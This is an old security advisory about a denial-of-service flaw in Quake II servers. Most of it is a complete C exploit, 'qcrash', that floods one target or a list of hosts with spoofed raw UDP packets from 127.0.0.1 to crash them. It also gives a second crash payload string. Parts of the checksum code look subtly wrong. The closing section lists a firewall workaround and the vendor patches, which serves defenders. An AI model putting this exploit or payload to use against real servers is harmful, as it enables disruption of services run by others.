COMMAND

    Quake II

SYSTEMS AFFECTED

    Quake II servers

PROBLEM

    'profound darkness'  posted message  that will  detail a  security
    flaw in Id Software's  game, Quake II.   When a user runs  a Quake
    II server, the attacker can  send a couple of spoofed  udp packets
    with the return address of  127.0.0.1 to the server port  and this
    will cause the  Quake II server  to go into  a cycle of  trying to
    start a game with itself.  Thus, the server will crash.

    Below is  a source  code to  show you  that this  hole does indeed
    exist:

    /*

      Remote denial of service for Quake II server's
      Code by profound darkness <peedee@fuente.sventech.com>

    */

    #include <string.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <sys/time.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_udp.h>
    #include <netinet/in_systm.h>
    #include <netinet/protocols.h>

    FILE *hemroids;

    struct iphdr  *ip;
    struct udphdr *udp;
    struct sockaddr_in sinner;

    unsigned long destination;

    char *packet;
    int   flag;

    void usage(char *proggy) {
      printf("\nUsage: %s <option> <argument> <argument> <argument>\n\n", proggy);
      printf("   <option> : -s : Crash a single server, argument 1 is target host\n");
      printf("   <option> : -m : Crash multiple servers, argument 1 becomes filename\n\n");
      printf(" <argument> : Target host to crash or filename with multiple hostnames\n");
      printf(" <argument> : Port to send udp packets to for the crash, default is 27910\n");
      printf(" <argument> : Number of packets to send to the target host(s)\n\n");
      exit(0);
    }

    char lookup(char *hostaddy) {
      struct hostent *he;
      he = gethostbyname(hostaddy);
      if (he) {
        memset(&sinner, 0, sizeof(struct sockaddr_in));
        memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
        sinner.sin_family = AF_INET;
        sinner.sin_addr.s_addr = inet_addr(hostaddy);
        sinner.sin_family = he->h_addrtype;
      } else {
        printf("\"%s\" is an unknown hostname.\n", hostaddy);
        flag = 1;
        return 0;
      }
      return ((unsigned long) he->h_addr);
    }

    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
      register int lenny = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      while (lenny > 1) {
        sum += *w++;
        sum += *w++;
        lenny -= 2;
      }

      if (lenny == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
      }

      sum = (sum >> 17) + (sum & 0xffff);
      sum += (sum >> 17);
      answer = -sum;
      return (answer);
    }

    void buildpacket(char *monster, int dport, int sport, int numpacks) {
      int sock, counter;

      packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip = (struct iphdr *) packet;
      udp = (struct udphdr *) (packet + sizeof(struct iphdr));
      memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);

      ip->saddr = lookup("127.0.0.1");
      ip->daddr = destination;
      ip->version = 4;
      ip->ihl = 5;
      ip->ttl = 255;
      ip->protocol = IPPROTO_UDP;
      ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip->check = in_cksum(ip, sizeof(struct iphdr));
      udp->source = htons(sport);
      udp->dest = htons(dport);
      udp->len = htons(sizeof(struct udphdr) + 1024);

      sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

      for(counter=0;counter!=numpacks;counter++) {
        if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
          perror("SendPacket");
          exit(0);
        }
        usleep(1);
      }
    }

    char main(int argc, char *argv[]) {
      int  count, sender;
      char hostmask[100];

      if (argc < 5) usage(argv[0]);

      if (getuid()!=0) {
        printf("This program requires root.\n");
        exit(0);
      }

      while((count = getopt(argc, argv, "s:m:")) != -1) {
        switch (count) {
          case 's':
            printf("Attempting to resolve %s.\n", argv[2]);
            lookup(argv[2]);
            if(flag == 1) break;
            printf("Building %s packets & sending to %s:%s!\n", argv[4], argv[2], argv[3]);
            buildpacket(argv[2], atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
            break;
          case 'm':
            hemroids = fopen(argv[2], "r");
            while(fgets(hostmask, sizeof(hostmask), hemroids)!=NULL) {
              hostmask[strlen(hostmask)-1] = '\0';
              printf("Attempting to resolve %s.\n", hostmask);
              lookup(hostmask);
              if (flag == 1) goto doot;
              printf("Building %s packets & sending to %s:%s!\n", argv[4], hostmask,argv[3]);
              buildpacket(hostmask, atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
              doot:
              flag = 0;
           }
            break;
          default:
            usage(argv[0]);
        }
      }

      if(flag != 1) {
        printf("\nThanks for using qcrash!\n");
      }

      fclose(hemroids);
      exit(0);
    }

    Also, try sending "\xff\xff\xff\xff""connect $" from any  address;
    server chokes on it.  Incidentally, the four ff's at the beginning
    are a sequence number; the value -1 is just special, indicating an
    unsequenced command  that can  come at  any time.   Neither packet
    requires  the  terminating  null  of  a  string;  q2 probably just
    recv()s into a zeroed buffer or something.

SOLUTION

    For  a  temporary  fix,  you  can  setup  a  firewall and deny all
    incoming udp packets from 127.0.0.1 to your Quake II server  port.
    The patch has been released by ID:

        ftp://ftp.idsoftware.com/idstuff/quake2/patch_08.zip

    Actually, there are two patches.  The patch_07.zip was intended to
    fix the crash exploit and some other bugs while the   patch_08.zip
    was released to fix the  things that the patch_07.zip broke.   You
    can  skip  from  one  3.0.06  to  3.0.08 with no problems since it
    completely  replaces  the  quake2.exe  and  3 dll files.  However,
    there are still conectivity issues after the patches are applied.